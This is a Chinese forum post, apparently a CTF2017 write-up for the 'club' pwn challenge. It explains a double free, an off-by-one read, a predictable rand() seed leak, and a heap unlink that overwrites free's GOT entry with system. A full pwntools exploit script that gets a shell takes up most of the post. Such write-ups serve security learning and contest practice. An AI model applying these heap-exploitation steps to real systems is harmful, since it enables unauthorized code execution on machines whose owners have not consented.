1

[原创] CTF2017 秋季赛 第四题 club pwn 提交

wx_sw 2017-10-31 02:54 745

第四题

double free的题

 

但是开了挺多保护的
这里需要一些unlink的知识,如果不会以下是参考
http://cb.drops.wiki/drops/tips-16610.html
http://cb.drops.wiki/drops/tips-7326.html

pwndbg> checksec
[*] '/media/psf/Home/MyCTF/kanxue/pwn/4-BPG-club/club'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

图片描述
在free的时候并没有将指针置零,可以多次free

 

另外程序还有一个漏洞,
图片描述
程序在做read的时候,没有加上'\x00',有一个off-by-one的一字节漏洞,..

 

继续往下看
图片描述

 

在guess_a_randnum函数中,程序调用的是rand(),事实上,这是一个伪随机函数,

 

这个函数中,当我们猜中randnum后,程序会讲seed地址给我们打印出来,那么我们将获取一个地址

 

get ...我们能获取地址,意味着我就可以做unlink了

 

图片描述

 

rand()的值决定与srand(&seed) 当这个我们知道&seed的时候,我们就可以去预测rand()的值,

 

那么我们可以去暴力猜测 seed,然后再去预测下一个rand()

def guess_a_randnum(num):

    io.recvuntil('>')
    io.sendline(str('5'))
    io.recvuntil('>')
    io.sendline(str(num))



def guess_seed(num):
    for i in xrange(0x148,0x7ffff000,0x1000):
        #i = i<<12
        #i += 0x148 #seed offset
        libc.srand(i)
        randnum = int(libc.rand())
        if randnum == int(num):                
            return libc.rand()
    print 'seed' ,i
    return 0



guess_a_randnum(str(0))
n = io.recvuntil('is ')
num = io.recvuntil('!')[:-1]
print '[*]rand1='+num



a=guess_seed(num)

guess_a_randnum(a)

io.recvuntil('You get a secret:')
seed_addr = int(io.recvuntil('!')[:-1])

log.info("seed_addr: 0x%x" % int(seed_addr))

通过这样的方法,我们能获取seed的指针地址

 

进一步,我们可以计算获取free_got_addr,一个bss地址

free_got_addr = seed_addr-0x202148+0x202018
p_addr = seed_addr-0x202148+0x202110

log.info('free_got_addr:'+hex(free_got_addr))

那么下一步,我们的思路就是,泄漏libc地址,我们这个时候有了一个free的got地址,

 

我们可以构造 paload 去泄漏地址,然后计算system偏移 最后getshell
首先我们构造三个chunk
图片描述

get_a_box(1,0x30)
get_a_box(2,0x100)
get_a_box(3,0x110)

然后将他free掉,这个时候指针并没有清零
然后再去创建第四块

 

图片描述
第四块要比之前free掉的两块都要大
然后伪造 fd bk

 

图片描述

 

紧着我们去free掉 第三块,去触发unlink
图片描述
这个时候堆上的情况如下:
图片描述
进一步 。我们去构造leave_me_a_message(2,p64(1)+p64(1)+p64(free_got_addr))
这样的payload 可以将free地址打印出来

 

图片描述
从而我们可以获取free的地址

 

最后,我们可以计算system在内存中的地址
然后传入
图片描述
我们会发现这个时候 fd_nextsize 指向了system地址
那么下一步我们去传入system的参数/bin/sh
图片描述

 

最后再free 一次 第三个块触发一次unlink 就能get shell了

 

完整exp:

#!/usr/bin/env python
# coding=utf-8


from pwn import *
from ctypes import *

context.log_level = 'debug'
context.terminal =['tmux','splitw','-h']

if len(sys.argv) >1:
    debug = False
else:
    debug = True
if debug:
    libc= CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    io = process('club')

else:
    libc = CDLL('libc.so.6')
    lib = ELF('libc.so.6')
    io = remote('123.206.22.95',8888)


#main_arena_offset = lib.symbols['main_arena']
system_offset = lib.symbols['system']
binsh_offset = lib.search('/bin/sh').next()
free_offset = lib.symbols['free']

log.info("system_offset:0x%x" % system_offset)
log.info("binsh_offset:0x%x" % binsh_offset)
log.info("free_offset: 0x%X" % free_offset)

def get_a_box(index,size):
    io.recvuntil('>')
    io.sendline(str('1'))
    io.recvuntil('>')
    io.sendline(str(index))
    io.recvuntil('>')
    io.sendline(str(size))



def destory_a_box(index):
    io.recvuntil('>')
    io.sendline(str('2'))
    io.recvuntil('>')
    io.sendline(str(index))

def leave_me_a_message(index,message):
    io.recvuntil('>')
    io.sendline(str('3'))
    io.recvuntil('>')
    io.sendline(str(index))
    time.sleep(1)
    io.sendline(message)

def show_message(index):
    io.recvuntil('>')
    io.sendline(str('4'))
    io.recvuntil('>')
    io.sendline(str(index))

def guess_a_randnum(num):

    io.recvuntil('>')
    io.sendline(str('5'))
    io.recvuntil('>')
    io.sendline(str(num))



def guess_seed(num):
    for i in xrange(0x148,0x7ffff000,0x1000):
        #i = i<<12
        #i += 0x148 #seed offset
        libc.srand(i)
        randnum = int(libc.rand())
        if randnum == int(num):                
            return libc.rand()
    print 'seed' ,i
    return 0



guess_a_randnum(str(0))
n = io.recvuntil('is ')
num = io.recvuntil('!')[:-1]
print '[*]rand1='+num

# get seed addr and base addr

a=guess_seed(num)

guess_a_randnum(a)

io.recvuntil('You get a secret:')
seed_addr = int(io.recvuntil('!')[:-1])

log.info("seed_addr: 0x%x" % int(seed_addr))



free_got_addr = seed_addr-0x202148+0x202018
p_addr = seed_addr-0x202148+0x202110

log.info('free_got_addr:'+hex(free_got_addr))



# fake chunk and get shell

fake_fd = p64(p_addr-0x18)
fake_bk = p64(p_addr-0x10)



get_a_box(1,0x30)
get_a_box(2,0x100)
get_a_box(3,0x110)
raw_input('get 3 box')
#gdb.attach(io)
raw_input('destory_2_box')
destory_a_box(2)
destory_a_box(3)
pause()
fake_fd = p64(p_addr-0x18)
fake_bk = p64(p_addr-0x10)

payload = p64(0)+p64(0x101)+fake_fd+fake_bk+'A'*(0x100-0x20)+p64(0x100)+p64(0x220-0x100) 
raw_input('off by one to leak ')
raw_input('get 4 box size 0x220')
get_a_box(4,0x220)
raw_input('fill the 4 box')
leave_me_a_message(4,payload)
raw_input('destory_3_box')
destory_a_box(3)
raw_input('leak got addr')

log.info('leaking address...')
leave_me_a_message(2,p64(1)+p64(1)+p64(free_got_addr))
raw_input('leakk.......')
#gdb.attach(io)
raw_input('leak free addr')
show_message(1)
pause()
free_addr = u64(io.recvuntil('You have 6 operation :')[1:7]+'\x00'*2)


pause()
system_addr = int(free_addr)-free_offset+system_offset
log.info('system address:'+hex(system_addr))
gdb.attach(io)
raw_input('get shell~~~~~~')
leave_me_a_message(1,p64(system_addr))
pause()
leave_me_a_message(3,'/bin/sh')
raw_input('unlink to get shell')
destory_a_box(3)   
pause()
# log.info("leak .....libc.....")
# get_a_box(1,0x80)
# get_a_box(2,0xa0)
# get_a_box(3,0xb0)

# destory_a_box(2)
# pause()
# #gdb.attach(io)
# raw_input('leak.....libc')
# show_message(2)
# main_arena_addr = u64(io.recvuntil('You have 6 operation :')[1:7]+'\x00'*2)
# print hex(main_arena_addr)
# #log.info("main_arena_addr: 0x%x" % hex(main_arena_addr))
# pause()


io.interactive()
最新回复 (1)
simSimple 2017-11-13 08:15
2
膜sw湿敷
返回